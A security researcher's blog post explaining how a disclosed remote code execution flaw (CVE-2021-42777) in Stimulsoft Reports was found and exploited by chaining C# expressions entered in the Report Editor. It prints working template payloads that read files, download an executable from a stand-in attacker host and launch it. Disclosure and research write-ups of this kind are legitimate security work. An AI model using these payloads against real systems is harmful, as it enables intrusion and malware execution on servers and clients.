Saturday, April 16, 2022

Reporting Library RCE (Object Chaining) - CVE-2021-42777

 

Similar to CVE-2020-15865. However, this one was a little trickier because I could only execute chained C# commands that ultimately return an Object. This is a technique that can be used anywhere where user input is compiled by design, such as in template injection. In fact, hackers I've shared this story with had success using the concept across different languages and systems.

Information Disclosure to RCE 

This started with a low severity issue - a verbose error message from the application when I typed SQL junk into the Report Editor, looking for a SQL injection. The errors contained CS1503 (C# compilation errors) returned from Stimulsoft Reports 2013.1.1600.0, so I was confident there was an RCE available: 

 

So, after trying a few C# commands, I eventually I got errors like:

 C:\User\burninator\AppData\Local\Temp\klqskh4k.0.cs(578,74): error CS1502: The best overloaded method match for '****.ToString(object,object,bool)' has some invalid arguments: error CS1503: Argument 2: cannot convert from method group' to 'object' 

Bingo! I love to hear that something is being converted, and in a function we apparently have control over. This error is a wonderful window into how this works. I can tell from the error that it will only compile and execute successfully if we give it something that it can interpret as an Object. I tested this by sending {new Object()}, and it compiled without error! These work too but they're not that helpful (yet): 

{new System.Diagnostics.Process()}

{System.Math.Ceiling} 

{new System.Diagnostics.StackTrace(true).GetFrame(1).GetMethod()}

So, how can I weaponize this? Since this is a local thick client application, the first step is to figure out if it's going to execute these commands locally or on the application web server it's connected to. Surprise! It actually does both, since I was able to chain this with other functionality to make it launch server side AND locally. But first let's find proof that we can inject a malicious command... 

To find out, I read the manual. I actually READ the manual for the C# language. I know, I know. Disgusting. It's a taboo I didn't even do and would never have done when I was a developer. But it was important here, because I needed to find attack chains that would let me: 

1.)  execute a command on the local machine (pop calc.exe) 

2.) execute a command locally to make the remote server do an external DNS hit POC and then make it download/write/execute the file

It reminded me a lot of Object Deserialization gadget/widget chains in YsoSerial, which are well known internal commands or system objects that aid with command injection and execution (i.e.http://gursevkalra.blogspot.com/2016/01/ysoserial-commonscollections1-exploit.html ). But given my constraints, I had to create my own. If you aren't familiar with Objects in Object Oriented Programming languages, here's a quick rundown from my presentation on Object Attacks and how I used them in this context. The class definitions are from the C# manual:

{System.IO.File.ReadAllText(@"dontlook.txt")} 

(NOTE: the curly brackets are for the templating system, they're not valid C#)

{System.Net.WebRequest.Create("https://ATTACKSERVER:8000/myBad.exe").GetResponse().GetResponseStream()}

{System.Diagnostics.Process.Start("myBad.exe")}

That's how I got one of the weirdest shells ever.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42777

 

 

 

Also, now that I've written this out, I realize that by far the least fun part of this exploit was reading the C# manual to find interesting File IO and Networking gadget chains that return Objects... it was a lot of 2am nights. So I think I will end up automating that process, if something like it doesn't already exist.

No comments:

Post a Comment